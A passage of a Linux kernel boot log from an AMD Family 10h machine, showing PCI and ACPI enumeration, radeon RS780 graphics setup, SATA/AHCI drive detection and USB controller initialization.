AMD PMU driver. [ 0.142542] ... version: 0 [ 0.142542] ... bit width: 48 [ 0.142543] ... generic registers: 4 [ 0.142543] ... value mask: 0000ffffffffffff [ 0.142544] ... max period: 00007fffffffffff [ 0.142544] ... fixed-purpose events: 0 [ 0.142545] ... event mask: 000000000000000f [ 0.142621] MCE: In-kernel MCE decoding enabled. [ 0.155796] process: System has AMD C1E enabled [ 0.155806] process: Switch to broadcast mode on CPU1 [ 0.169182] process: Switch to broadcast mode on CPU2 [ 0.142659] smpboot: Booting Node 0, Processors #1 #2 #3 OK [ 0.182310] Brought up 4 CPUs [ 0.182311] smpboot: Total of 4 processors activated (25695.69 BogoMIPS) [ 0.182317] process: Switch to broadcast mode on CPU3 [ 0.188006] process: Switch to broadcast mode on CPU0 [ 0.188189] devtmpfs: initialized [ 0.188372] NET: Registered protocol family 16 [ 0.188438] node 0 link 0: io port [1000, ffffff] [ 0.188439] TOM: 00000000e0000000 aka 3584M [ 0.188441] Fam 10h mmconf [mem 0xe0000000-0xefffffff] [ 0.188442] node 0 link 0: mmio [a0000, bffff] [ 0.188444] node 0 link 0: mmio [e0000000, efffffff] ==> none [ 0.188445] node 0 link 0: mmio [f0000000, fbcfffff] [ 0.188446] node 0 link 0: mmio [fbd00000, fbefffff] [ 0.188447] node 0 link 0: mmio [fbf00000, ffefffff] [ 0.188448] TOM2: 0000000220000000 aka 8704M [ 0.188449] bus: [bus 00-07] on node 0 link 0 [ 0.188450] bus: 00 [io 0x0000-0xffff] [ 0.188450] bus: 00 [mem 0x000a0000-0x000bffff] [ 0.188451] bus: 00 [mem 0xf0000000-0xffffffff] [ 0.188452] bus: 00 [mem 0x220000000-0xfcffffffff] [ 0.188487] ACPI: bus type PCI registered [ 0.188491] PCI: Using configuration type 1 for base access [ 0.188491] PCI: Using configuration type 1 for extended access [ 0.189301] bio: create slab at 0 [ 0.189417] ACPI: Added _OSI(Module Device) [ 0.189418] ACPI: Added _OSI(Processor Device) [ 0.189419] ACPI: Added _OSI(3.0 _SCP Extensions) [ 0.189419] ACPI: Added _OSI(Processor Aggregator Device) [ 0.190052] ACPI: EC: Look up EC in DSDT [ 0.191049] ACPI: Executed 3 blocks of module-level executable AML code [ 0.272841] ACPI: Interpreter enabled [ 0.272846] ACPI: (supports S0 S5) [ 0.272846] ACPI: Using IOAPIC for interrupt routing [ 0.272867] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 0.276246] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 0.276355] PCI host bridge to bus 0000:00 [ 0.276358] pci_bus 0000:00: root bus resource [bus 00-ff] [ 0.276359] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7] [ 0.276360] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff] [ 0.276362] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff] [ 0.276363] pci_bus 0000:00: root bus resource [mem 0x000d0000-0x000dffff] [ 0.276364] pci_bus 0000:00: root bus resource [mem 0xdff00000-0xdfffffff] [ 0.276365] pci_bus 0000:00: root bus resource [mem 0xf0000000-0xfebfffff] [ 0.276374] pci 0000:00:00.0: [1022:9600] type 00 class 0x060000 [ 0.276429] pci 0000:00:01.0: [1022:9602] type 01 class 0x060400 [ 0.276475] pci 0000:00:06.0: [1022:9606] type 01 class 0x060400 [ 0.276501] pci 0000:00:06.0: PME# supported from D0 D3hot D3cold [ 0.276546] pci 0000:00:11.0: [1002:4391] type 00 class 0x010601 [ 0.276561] pci 0000:00:11.0: reg 0x10: [io 0xc000-0xc007] [ 0.276570] pci 0000:00:11.0: reg 0x14: [io 0xb000-0xb003] [ 0.276578] pci 0000:00:11.0: reg 0x18: [io 0xa000-0xa007] [ 0.276586] pci 0000:00:11.0: reg 0x1c: [io 0x9000-0x9003] [ 0.276595] pci 0000:00:11.0: reg 0x20: [io 0x8000-0x800f] [ 0.276603] pci 0000:00:11.0: reg 0x24: [mem 0xfbcffc00-0xfbcfffff] [ 0.276676] pci 0000:00:12.0: [1002:4397] type 00 class 0x0c0310 [ 0.276687] pci 0000:00:12.0: reg 0x10: [mem 0xfbcfd000-0xfbcfdfff] [ 0.276773] pci 0000:00:12.1: [1002:4398] type 00 class 0x0c0310 [ 0.276785] pci 0000:00:12.1: reg 0x10: [mem 0xfbcfe000-0xfbcfefff] [ 0.276876] pci 0000:00:12.2: [1002:4396] type 00 class 0x0c0320 [ 0.276893] pci 0000:00:12.2: reg 0x10: [mem 0xfbcff800-0xfbcff8ff] [ 0.276971] pci 0000:00:12.2: supports D1 D2 [ 0.276972] pci 0000:00:12.2: PME# supported from D0 D1 D2 D3hot [ 0.277019] pci 0000:00:13.0: [1002:4397] type 00 class 0x0c0310 [ 0.277031] pci 0000:00:13.0: reg 0x10: [mem 0xfbcfb000-0xfbcfbfff] [ 0.277119] pci 0000:00:13.1: [1002:4398] type 00 class 0x0c0310 [ 0.277130] pci 0000:00:13.1: reg 0x10: [mem 0xfbcfc000-0xfbcfcfff] [ 0.277224] pci 0000:00:13.2: [1002:4396] type 00 class 0x0c0320 [ 0.277241] pci 0000:00:13.2: reg 0x10: [mem 0xfbcff400-0xfbcff4ff] [ 0.277318] pci 0000:00:13.2: supports D1 D2 [ 0.277319] pci 0000:00:13.2: PME# supported from D0 D1 D2 D3hot [ 0.277371] pci 0000:00:14.0: [1002:4385] type 00 class 0x0c0500 [ 0.277484] pci 0000:00:14.1: [1002:439c] type 00 class 0x01018a [ 0.277499] pci 0000:00:14.1: reg 0x10: [io 0x0000-0x0007] [ 0.277508] pci 0000:00:14.1: reg 0x14: [io 0x0000-0x0003] [ 0.277516] pci 0000:00:14.1: reg 0x18: [io 0x0000-0x0007] [ 0.277524] pci 0000:00:14.1: reg 0x1c: [io 0x0000-0x0003] [ 0.277532] pci 0000:00:14.1: reg 0x20: [io 0xff00-0xff0f] [ 0.277608] pci 0000:00:14.2: [1002:4383] type 00 class 0x040300 [ 0.277627] pci 0000:00:14.2: reg 0x10: [mem 0xfbcf4000-0xfbcf7fff 64bit] [ 0.277689] pci 0000:00:14.2: PME# supported from D0 D3hot D3cold [ 0.277726] pci 0000:00:14.3: [1002:439d] type 00 class 0x060100 [ 0.277823] pci 0000:00:14.4: [1002:4384] type 01 class 0x060401 [ 0.277886] pci 0000:00:14.5: [1002:4399] type 00 class 0x0c0310 [ 0.277898] pci 0000:00:14.5: reg 0x10: [mem 0xfbcfa000-0xfbcfafff] [ 0.277989] pci 0000:00:18.0: [1022:1200] type 00 class 0x060000 [ 0.278031] pci 0000:00:18.1: [1022:1201] type 00 class 0x060000 [ 0.278069] pci 0000:00:18.2: [1022:1202] type 00 class 0x060000 [ 0.278107] pci 0000:00:18.3: [1022:1203] type 00 class 0x060000 [ 0.278147] pci 0000:00:18.4: [1022:1204] type 00 class 0x060000 [ 0.278217] pci 0000:01:05.0: [1002:9614] type 00 class 0x030000 [ 0.278223] pci 0000:01:05.0: reg 0x10: [mem 0xf0000000-0xf7ffffff pref] [ 0.278227] pci 0000:01:05.0: reg 0x14: [io 0xd000-0xd0ff] [ 0.278230] pci 0000:01:05.0: reg 0x18: [mem 0xfbee0000-0xfbeeffff] [ 0.278237] pci 0000:01:05.0: reg 0x24: [mem 0xfbd00000-0xfbdfffff] [ 0.278251] pci 0000:01:05.0: supports D1 D2 [ 0.278275] pci 0000:01:05.1: [1002:960f] type 00 class 0x040300 [ 0.278281] pci 0000:01:05.1: reg 0x10: [mem 0xfbefc000-0xfbefffff] [ 0.278305] pci 0000:01:05.1: supports D1 D2 [ 0.278349] pci 0000:00:01.0: PCI bridge to [bus 01] [ 0.278351] pci 0000:00:01.0: bridge window [io 0xd000-0xdfff] [ 0.278353] pci 0000:00:01.0: bridge window [mem 0xfbd00000-0xfbefffff] [ 0.278355] pci 0000:00:01.0: bridge window [mem 0xf0000000-0xf7ffffff 64bit pref] [ 0.278409] pci 0000:02:00.0: [1969:1026] type 00 class 0x020000 [ 0.278444] pci 0000:02:00.0: reg 0x10: [mem 0xfbfc0000-0xfbffffff 64bit] [ 0.278464] pci 0000:02:00.0: reg 0x18: [io 0xec00-0xec7f] [ 0.278613] pci 0000:02:00.0: PME# supported from D3hot D3cold [ 0.278648] pci 0000:00:06.0: PCI bridge to [bus 02] [ 0.278650] pci 0000:00:06.0: bridge window [io 0xe000-0xefff] [ 0.278652] pci 0000:00:06.0: bridge window [mem 0xfbf00000-0xfbffffff] [ 0.278715] pci 0000:00:14.4: PCI bridge to [bus 03] (subtractive decode) [ 0.278722] pci 0000:00:14.4: bridge window [io 0x0000-0x0cf7] (subtractive decode) [ 0.278724] pci 0000:00:14.4: bridge window [io 0x0d00-0xffff] (subtractive decode) [ 0.278725] pci 0000:00:14.4: bridge window [mem 0x000a0000-0x000bffff] (subtractive decode) [ 0.278726] pci 0000:00:14.4: bridge window [mem 0x000d0000-0x000dffff] (subtractive decode) [ 0.278727] pci 0000:00:14.4: bridge window [mem 0xdff00000-0xdfffffff] (subtractive decode) [ 0.278728] pci 0000:00:14.4: bridge window [mem 0xf0000000-0xfebfffff] (subtractive decode) [ 0.278737] pci_bus 0000:00: on NUMA node 0 [ 0.278739] acpi PNP0A03:00: ACPI _OSC support notification failed, disabling PCIe ASPM [ 0.278740] acpi PNP0A03:00: Unable to request _OSC control (_OSC support mask: 0x08) [ 0.279178] ACPI: PCI Interrupt Link [LNKA] (IRQs 4 7 10 11 12 14 15) *0, disabled. [ 0.279217] ACPI: PCI Interrupt Link [LNKB] (IRQs 4 7 10 11 12 14 15) *0, disabled. [ 0.279246] ACPI: PCI Interrupt Link [LNKC] (IRQs 4 7 10 11 12 14 15) *0, disabled. [ 0.279275] ACPI: PCI Interrupt Link [LNKD] (IRQs 4 7 10 11 12 14 15) *0, disabled. [ 0.279305] ACPI: PCI Interrupt Link [LNKE] (IRQs 4 7 10 11 12 14 15) *0, disabled. [ 0.279334] ACPI: PCI Interrupt Link [LNKF] (IRQs 4 7 10 11 12 14 15) *0, disabled. [ 0.279363] ACPI: PCI Interrupt Link [LNKG] (IRQs 4 7 10 11 12 14 15) *0, disabled. [ 0.279392] ACPI: PCI Interrupt Link [LNKH] (IRQs 4 7 10 11 12 14 15) *0, disabled. [ 0.279498] ACPI: Enabled 1 GPEs in block 00 to 1F [ 0.279502] ACPI: \_SB_.PCI0: notify handler is installed [ 0.279525] Found 1 acpi root devices [ 0.279582] SCSI subsystem initialized [ 0.279631] libata version 3.00 loaded. [ 0.279633] ACPI: bus type USB registered [ 0.279642] usbcore: registered new interface driver usbfs [ 0.279647] usbcore: registered new interface driver hub [ 0.279667] usbcore: registered new device driver usb [ 0.279685] EDAC MC: Ver: 3.0.0 [ 0.279787] Advanced Linux Sound Architecture Driver Initialized. [ 0.279788] PCI: Using ACPI for IRQ routing [ 0.279789] PCI: pci_cache_line_size set to 64 bytes [ 0.279838] e820: reserve RAM buffer [mem 0x0009fc00-0x0009ffff] [ 0.279839] e820: reserve RAM buffer [mem 0xdfe90000-0xdfffffff] [ 0.279914] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0, 0 [ 0.279917] hpet0: 4 comparators, 32-bit 14.318180 MHz counter [ 0.281965] Switched to clocksource hpet [ 0.281992] pnp: PnP ACPI init [ 0.281997] ACPI: bus type PNP registered [ 0.282080] system 00:00: Plug and Play ACPI device, IDs PNP0c02 (active) [ 0.282106] pnp 00:01: [dma 4] [ 0.282117] pnp 00:01: Plug and Play ACPI device, IDs PNP0200 (active) [ 0.282135] pnp 00:02: Plug and Play ACPI device, IDs PNP0b00 (active) [ 0.282148] pnp 00:03: Plug and Play ACPI device, IDs PNP0800 (active) [ 0.282164] pnp 00:04: Plug and Play ACPI device, IDs PNP0c04 (active) [ 0.282193] pnp 00:05: Plug and Play ACPI device, IDs PNP0103 (active) [ 0.282256] system 00:06: [mem 0xfec00000-0xfec00fff] could not be reserved [ 0.282257] system 00:06: [mem 0xfee00000-0xfee00fff] has been reserved [ 0.282258] system 00:06: Plug and Play ACPI device, IDs PNP0c02 (active) [ 0.282411] system 00:07: [io 0x04d0-0x04d1] has been reserved [ 0.282412] system 00:07: [io 0x040b] has been reserved [ 0.282413] system 00:07: [io 0x04d6] has been reserved [ 0.282415] system 00:07: [io 0x0c00-0x0c01] has been reserved [ 0.282416] system 00:07: [io 0x0c14] has been reserved [ 0.282417] system 00:07: [io 0x0c50-0x0c51] has been reserved [ 0.282418] system 00:07: [io 0x0c52] has been reserved [ 0.282419] system 00:07: [io 0x0c6c] has been reserved [ 0.282421] system 00:07: [io 0x0c6f] has been reserved [ 0.282422] system 00:07: [io 0x0cd0-0x0cd1] has been reserved [ 0.282423] system 00:07: [io 0x0cd2-0x0cd3] has been reserved [ 0.282424] system 00:07: [io 0x0cd4-0x0cd5] has been reserved [ 0.282426] system 00:07: [io 0x0cd6-0x0cd7] has been reserved [ 0.282427] system 00:07: [io 0x0cd8-0x0cdf] has been reserved [ 0.282428] system 00:07: [io 0x0b00-0x0b3f] has been reserved [ 0.282429] system 00:07: [io 0x0800-0x089f] could not be reserved [ 0.282431] system 00:07: [io 0x0b00-0x0b0f] has been reserved [ 0.282432] system 00:07: [io 0x0b20-0x0b3f] has been reserved [ 0.282433] system 00:07: [io 0x0900-0x090f] has been reserved [ 0.282435] system 00:07: [io 0x0910-0x091f] has been reserved [ 0.282436] system 00:07: [io 0xfe00-0xfefe] has been reserved [ 0.282438] system 00:07: [mem 0xdff00000-0xdfffffff] has been reserved [ 0.282439] system 00:07: [mem 0xffb80000-0xffbfffff] has been reserved [ 0.282440] system 00:07: [mem 0xfec10000-0xfec1001f] has been reserved [ 0.282442] system 00:07: Plug and Play ACPI device, IDs PNP0c02 (active) [ 0.282860] system 00:08: [io 0x0230-0x023f] has been reserved [ 0.282862] system 00:08: [io 0x0290-0x029f] has been reserved [ 0.282863] system 00:08: [io 0x0f40-0x0f4f] has been reserved [ 0.282864] system 00:08: [io 0x0a30-0x0a3f] has been reserved [ 0.282866] system 00:08: Plug and Play ACPI device, IDs PNP0c02 (active) [ 0.282901] system 00:09: [mem 0xe0000000-0xefffffff] has been reserved [ 0.282902] system 00:09: Plug and Play ACPI device, IDs PNP0c02 (active) [ 0.283037] system 00:0a: [mem 0x00000000-0x0009ffff] could not be reserved [ 0.283038] system 00:0a: [mem 0x000c0000-0x000cffff] could not be reserved [ 0.283040] system 00:0a: [mem 0x000e0000-0x000fffff] could not be reserved [ 0.283041] system 00:0a: [mem 0x00100000-0xdfefffff] could not be reserved [ 0.283042] system 00:0a: [mem 0xfec00000-0xffffffff] could not be reserved [ 0.283044] system 00:0a: Plug and Play ACPI device, IDs PNP0c01 (active) [ 0.283115] pnp: PnP ACPI: found 11 devices [ 0.283115] ACPI: bus type PNP unregistered [ 0.289521] pci 0000:00:01.0: PCI bridge to [bus 01] [ 0.289523] pci 0000:00:01.0: bridge window [io 0xd000-0xdfff] [ 0.289525] pci 0000:00:01.0: bridge window [mem 0xfbd00000-0xfbefffff] [ 0.289527] pci 0000:00:01.0: bridge window [mem 0xf0000000-0xf7ffffff 64bit pref] [ 0.289530] pci 0000:00:06.0: PCI bridge to [bus 02] [ 0.289531] pci 0000:00:06.0: bridge window [io 0xe000-0xefff] [ 0.289533] pci 0000:00:06.0: bridge window [mem 0xfbf00000-0xfbffffff] [ 0.289536] pci 0000:00:14.4: PCI bridge to [bus 03] [ 0.289626] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7] [ 0.289627] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff] [ 0.289628] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff] [ 0.289629] pci_bus 0000:00: resource 7 [mem 0x000d0000-0x000dffff] [ 0.289630] pci_bus 0000:00: resource 8 [mem 0xdff00000-0xdfffffff] [ 0.289631] pci_bus 0000:00: resource 9 [mem 0xf0000000-0xfebfffff] [ 0.289633] pci_bus 0000:01: resource 0 [io 0xd000-0xdfff] [ 0.289634] pci_bus 0000:01: resource 1 [mem 0xfbd00000-0xfbefffff] [ 0.289635] pci_bus 0000:01: resource 2 [mem 0xf0000000-0xf7ffffff 64bit pref] [ 0.289636] pci_bus 0000:02: resource 0 [io 0xe000-0xefff] [ 0.289637] pci_bus 0000:02: resource 1 [mem 0xfbf00000-0xfbffffff] [ 0.289638] pci_bus 0000:03: resource 4 [io 0x0000-0x0cf7] [ 0.289639] pci_bus 0000:03: resource 5 [io 0x0d00-0xffff] [ 0.289641] pci_bus 0000:03: resource 6 [mem 0x000a0000-0x000bffff] [ 0.289642] pci_bus 0000:03: resource 7 [mem 0x000d0000-0x000dffff] [ 0.289643] pci_bus 0000:03: resource 8 [mem 0xdff00000-0xdfffffff] [ 0.289644] pci_bus 0000:03: resource 9 [mem 0xf0000000-0xfebfffff] [ 0.289664] NET: Registered protocol family 2 [ 0.289745] TCP established hash table entries: 65536 (order: 8, 1048576 bytes) [ 0.289966] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes) [ 0.290173] TCP: Hash tables configured (established 65536 bind 65536) [ 0.290207] TCP: reno registered [ 0.290209] UDP hash table entries: 4096 (order: 5, 131072 bytes) [ 0.290247] UDP-Lite hash table entries: 4096 (order: 5, 131072 bytes) [ 0.290318] NET: Registered protocol family 1 [ 0.290323] pci 0000:00:01.0: MSI quirk detected; subordinate MSI disabled [ 0.555536] pci 0000:01:05.0: Boot video device [ 0.555543] PCI: CLS 64 bytes, default 64 [ 0.555554] PCI-DMA: Using software bounce buffering for IO (SWIOTLB) [ 0.555556] software IO TLB [mem 0xdbe90000-0xdfe90000] (64MB) mapped at [ffff8800dbe90000-ffff8800dfe8ffff] [ 0.555666] kvm: Nested Virtualization enabled [ 0.555667] kvm: Nested Paging enabled [ 0.555821] LVT offset 1 assigned for vector 0x400 [ 0.555823] IBS: LVT offset 1 assigned [ 0.555842] perf: AMD IBS detected (0x0000001f) [ 0.556060] microcode: CPU0: patch_level=0x010000db [ 0.556066] microcode: CPU1: patch_level=0x010000db [ 0.556077] microcode: CPU2: patch_level=0x010000db [ 0.556087] microcode: CPU3: patch_level=0x010000db [ 0.556114] microcode: Microcode Update Driver: v2.00 , Peter Oruba [ 0.557221] SGI XFS with security attributes, large block/inode numbers, no debug enabled [ 0.557469] 9p: Installing v9fs 9p2000 file system support [ 0.557481] msgmni has been set to 15946 [ 0.557728] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253) [ 0.557729] io scheduler noop registered [ 0.557730] io scheduler deadline registered (default) [ 0.557773] ACPI: processor limited to max C-state 1 [ 0.558662] Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled [ 0.558992] [drm] Initialized drm 1.1.0 20060810 [ 0.558999] [drm] radeon kernel modesetting enabled. [ 0.559160] [drm] initializing kernel modesetting (RS780 0x1002:0x9614 0x1043:0x834D). [ 0.559166] [drm] register mmio base: 0xFBEE0000 [ 0.559166] [drm] register mmio size: 65536 [ 0.559695] ATOM BIOS: 113 [ 0.559709] radeon 0000:01:05.0: VRAM: 128M 0x00000000C0000000 - 0x00000000C7FFFFFF (128M used) [ 0.559710] radeon 0000:01:05.0: GTT: 512M 0x00000000A0000000 - 0x00000000BFFFFFFF [ 0.559713] [drm] Detected VRAM RAM=128M, BAR=128M [ 0.559714] [drm] RAM width 32bits DDR [ 0.559784] [TTM] Zone kernel: Available graphics memory: 4082358 kiB [ 0.559785] [TTM] Zone dma32: Available graphics memory: 2097152 kiB [ 0.559785] [TTM] Initializing pool allocator [ 0.559789] [TTM] Initializing DMA pool allocator [ 0.559806] [drm] radeon: 128M of VRAM memory ready [ 0.559807] [drm] radeon: 512M of GTT memory ready. [ 0.559814] [drm] GART: num cpu pages 131072, num gpu pages 131072 [ 0.560470] [drm] Loading RS780 Microcode [ 0.566021] [drm] PCIE GART of 512M enabled (table at 0x00000000C0040000). [ 0.566075] radeon 0000:01:05.0: WB enabled [ 0.566077] radeon 0000:01:05.0: fence driver on ring 0 use gpu addr 0x00000000a0000c00 and cpu addr 0xffff880215c46c00 [ 0.566078] radeon 0000:01:05.0: fence driver on ring 3 use gpu addr 0x00000000a0000c0c and cpu addr 0xffff880215c46c0c [ 0.566080] [drm] Supports vblank timestamp caching Rev 1 (10.10.2010). [ 0.566080] [drm] Driver supports precise vblank timestamp query. [ 0.566097] [drm] radeon: irq initialized. [ 0.566331] radeon 0000:01:05.0: setting latency timer to 64 [ 0.598447] [drm] ring test on 0 succeeded in 1 usecs [ 0.598503] [drm] ring test on 3 succeeded in 1 usecs [ 0.598789] [drm] ib test on ring 0 succeeded in 0 usecs [ 0.598801] [drm] ib test on ring 3 succeeded in 0 usecs [ 0.598884] [drm] Radeon Display Connectors [ 0.598885] [drm] Connector 0: [ 0.598886] [drm] VGA-1 [ 0.598887] [drm] DDC: 0x7e40 0x7e40 0x7e44 0x7e44 0x7e48 0x7e48 0x7e4c 0x7e4c [ 0.598887] [drm] Encoders: [ 0.598888] [drm] CRT1: INTERNAL_KLDSCP_DAC1 [ 0.598888] [drm] Connector 1: [ 0.598889] [drm] DVI-D-1 [ 0.598889] [drm] HPD3 [ 0.598890] [drm] DDC: 0x7e50 0x7e50 0x7e54 0x7e54 0x7e58 0x7e58 0x7e5c 0x7e5c [ 0.598890] [drm] Encoders: [ 0.598891] [drm] DFP3: INTERNAL_KLDSCP_LVTMA [ 0.598904] == power state 0 == [ 0.598905] ui class: none [ 0.598906] internal class: boot [ 0.598907] caps: video [ 0.598908] uvd vclk: 0 dclk: 0 [ 0.598909] power level 0 sclk: 50000 vddc_index: 2 [ 0.598909] power level 1 sclk: 50000 vddc_index: 2 [ 0.598909] status: c r b [ 0.598911] == power state 1 == [ 0.598911] ui class: performance [ 0.598911] internal class: none [ 0.598912] caps: video [ 0.598913] uvd vclk: 0 dclk: 0 [ 0.598913] power level 0 sclk: 50000 vddc_index: 1 [ 0.598914] power level 1 sclk: 70000 vddc_index: 2 [ 0.598914] status: [ 0.598914] == power state 2 == [ 0.598915] ui class: none [ 0.598915] internal class: uvd [ 0.598916] caps: video [ 0.598916] uvd vclk: 53300 dclk: 40000 [ 0.598917] power level 0 sclk: 50000 vddc_index: 1 [ 0.598917] power level 1 sclk: 50000 vddc_index: 1 [ 0.598918] status: [ 0.598971] switching from power state: [ 0.598971] ui class: none [ 0.598971] internal class: boot [ 0.598972] caps: video [ 0.598973] uvd vclk: 0 dclk: 0 [ 0.598973] power level 0 sclk: 50000 vddc_index: 2 [ 0.598974] power level 1 sclk: 50000 vddc_index: 2 [ 0.598974] status: c b [ 0.598975] switching to power state: [ 0.598975] ui class: performance [ 0.598975] internal class: none [ 0.598976] caps: video [ 0.598977] uvd vclk: 0 dclk: 0 [ 0.598977] power level 0 sclk: 50000 vddc_index: 1 [ 0.598978] power level 1 sclk: 70000 vddc_index: 2 [ 0.598978] status: r [ 0.599096] [drm] radeon: dpm initialized [ 0.641400] [drm] fb mappable at 0xF0142000 [ 0.641401] [drm] vram apper at 0xF0000000 [ 0.641402] [drm] size 7299072 [ 0.641402] [drm] fb depth is 24 [ 0.641402] [drm] pitch is 6912 [ 0.641448] fbcon: radeondrmfb (fb0) is primary device [ 0.658594] Console: switching to colour frame buffer device 131x105 [ 0.665515] radeon 0000:01:05.0: fb0: radeondrmfb frame buffer device [ 0.665516] radeon 0000:01:05.0: registered panic notifier [ 0.665564] [drm] Initialized radeon 2.34.0 20080528 for 0000:01:05.0 on minor 0 [ 0.665702] loop: module loaded [ 0.665790] ahci 0000:00:11.0: version 3.0 [ 0.665966] ahci 0000:00:11.0: AHCI 0001.0100 32 slots 6 ports 3 Gbps 0x3f impl SATA mode [ 0.665968] ahci 0000:00:11.0: flags: 64bit ncq sntf ilck pm led clo pmp pio slum part ccc [ 0.666475] scsi0 : ahci [ 0.666532] scsi1 : ahci [ 0.666579] scsi2 : ahci [ 0.666625] scsi3 : ahci [ 0.666673] scsi4 : ahci [ 0.666719] scsi5 : ahci [ 0.666738] ata1: SATA max UDMA/133 abar m1024@0xfbcffc00 port 0xfbcffd00 irq 22 [ 0.666740] ata2: SATA max UDMA/133 abar m1024@0xfbcffc00 port 0xfbcffd80 irq 22 [ 0.666742] ata3: SATA max UDMA/133 abar m1024@0xfbcffc00 port 0xfbcffe00 irq 22 [ 0.666744] ata4: SATA max UDMA/133 abar m1024@0xfbcffc00 port 0xfbcffe80 irq 22 [ 0.666746] ata5: SATA max UDMA/133 abar m1024@0xfbcffc00 port 0xfbcfff00 irq 22 [ 0.666748] ata6: SATA max UDMA/133 abar m1024@0xfbcffc00 port 0xfbcfff80 irq 22 [ 0.667060] scsi6 : pata_atiixp [ 0.667106] scsi7 : pata_atiixp [ 0.667141] ata7: PATA max UDMA/100 cmd 0x1f0 ctl 0x3f6 bmdma 0xff00 irq 14 [ 0.667142] ata8: PATA max UDMA/100 cmd 0x170 ctl 0x376 bmdma 0xff08 irq 15 [ 0.667227] tun: Universal TUN/TAP device driver, 1.6 [ 0.667228] tun: (C) 1999-2004 Max Krasnyansky [ 0.712271] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver [ 0.712272] ehci-pci: EHCI PCI platform driver [ 0.712363] ehci-pci 0000:00:12.2: EHCI Host Controller [ 0.712390] ehci-pci 0000:00:12.2: new USB bus registered, assigned bus number 1 [ 0.712395] QUIRK: Enable AMD PLL fix [ 0.712396] ehci-pci 0000:00:12.2: applying AMD SB700/SB800/Hudson-2/3 EHCI dummy qh workaround [ 0.712398] ehci-pci 0000:00:12.2: applying AMD SB600/SB700 USB freeze workaround [ 0.712410] ehci-pci 0000:00:12.2: debug port 1 [ 0.712440] ehci-pci 0000:00:12.2: irq 17, io mem 0xfbcff800 [ 0.722179] ehci-pci 0000:00:12.2: USB 2.0 started, EHCI 1.00 [ 0.722256] hub 1-0:1.0: USB hub found [ 0.722258] hub 1-0:1.0: 6 ports detected [ 0.722389] ehci-pci 0000:00:13.2: EHCI Host Controller [ 0.722417] ehci-pci 0000:00:13.2: new USB bus registered, assigned bus number 2 [ 0.722419] ehci-pci 0000:00:13.2: applying AMD SB700/SB800/Hudson-2/3 EHCI dummy qh workaround [ 0.722420] ehci-pci 0000:00:13.2: applying AMD SB600/SB700 USB freeze workaround [ 0.722432] ehci-pci 0000:00:13.2: debug port 1 [ 0.722457] ehci-pci 0000:00:13.2: irq 19, io mem 0xfbcff400 [ 0.732190] ehci-pci 0000:00:13.2: USB 2.0 started, EHCI 1.00 [ 0.732249] hub 2-0:1.0: USB hub found [ 0.732250] hub 2-0:1.0: 6 ports detected [ 0.732313] ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver [ 0.732313] ohci-pci: OHCI PCI platform driver [ 0.732378] ohci-pci 0000:00:12.0: OHCI PCI host controller [ 0.732407] ohci-pci 0000:00:12.0: new USB bus registered, assigned bus number 3 [ 0.732423] ohci-pci 0000:00:12.0: irq 16, io mem 0xfbcfd000 [ 0.789613] hub 3-0:1.0: USB hub found [ 0.789618] hub 3-0:1.0: 3 ports detected [ 0.789722] ohci-pci 0000:00:12.1: OHCI PCI host controller [ 0.789751] ohci-pci 0000:00:12.1: new USB bus registered, assigned bus number 4 [ 0.789761] ohci-pci 0000:00:12.1: irq 16, io mem 0xfbcfe000 [ 0.826093] ata7.00: ATAPI: HL-DT-STDVD-RAM GH22NP20, 1.03, max UDMA/66 [ 0.832656] ata7.00: configured for UDMA/66 [ 0.846358] hub 4-0:1.0: USB hub found [ 0.846364] hub 4-0:1.0: 3 ports detected [ 0.846483] ohci-pci 0000:00:13.0: OHCI PCI host controller [ 0.846514] ohci-pci 0000:00:13.0: new USB bus registered, assigned bus number 5 [ 0.846525] ohci-pci 0000:00:13.0: irq 18, io mem 0xfbcfb000 [ 0.902980] hub 5-0:1.0: USB hub found [ 0.902984] hub 5-0:1.0: 3 ports detected [ 0.903087] ohci-pci 0000:00:13.1: OHCI PCI host controller [ 0.903116] ohci-pci 0000:00:13.1: new USB bus registered, assigned bus number 6 [ 0.903127] ohci-pci 0000:00:13.1: irq 18, io mem 0xfbcfc000 [ 0.959690] hub 6-0:1.0: USB hub found [ 0.959694] hub 6-0:1.0: 3 ports detected [ 0.959798] ohci-pci 0000:00:14.5: OHCI PCI host controller [ 0.959827] ohci-pci 0000:00:14.5: new USB bus registered, assigned bus number 7 [ 0.959837] ohci-pci 0000:00:14.5: irq 18, io mem 0xfbcfa000 [ 0.978929] ata6: SATA link down (SStatus 0 SControl 300) [ 0.978971] ata2: SATA link up 3.0 Gbps (SStatus 123 SControl 300) [ 0.979843] ata2.00: ATA-8: ST1500DL003-9VT16L, CC32, max UDMA/133 [ 0.979846] ata2.00: 2930277168 sectors, multi 16: LBA48 NCQ (depth 31/32) [ 0.980890] ata2.00: configured for UDMA/133 [ 0.985598] ata4: SATA link down (SStatus 0 SControl 300) [ 0.985628] ata1: SATA link down (SStatus 0 SControl 300) [ 0.985659] ata5: SATA link down (SStatus 0 SControl 300) [ 0.985699] ata3: SATA link up 3.0 Gbps (SStatus 123 SControl 300) [ 0.985747] scsi 1:0:0:0: Direct-Access ATA ST1500DL003-9VT1 CC32 PQ: 0 ANSI: 5 [ 0.985840] sd 1:0:0:0: Attached scsi generic sg0 type 0 [ 0.985888] ata3.00: ATA-8: OCZ VERTEX-TURBO, 1.7, max UDMA/133 [ 0.985890] ata3.00: 62533296 sectors, multi 1: LBA48 NCQ (depth 31/32), AA [ 0.985905] sd 1:0:0:0: [sda] 2930277168 512-byte logical blocks: (1.50 TB/1.36 TiB) [ 0.986022] sd 1:0:0:0: [sda] Write Protect is off [ 0.986024] sd 1:0:0:0: [sda] Mode Sense: 00 3a 00 00 [ 0.986069] sd 1:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO 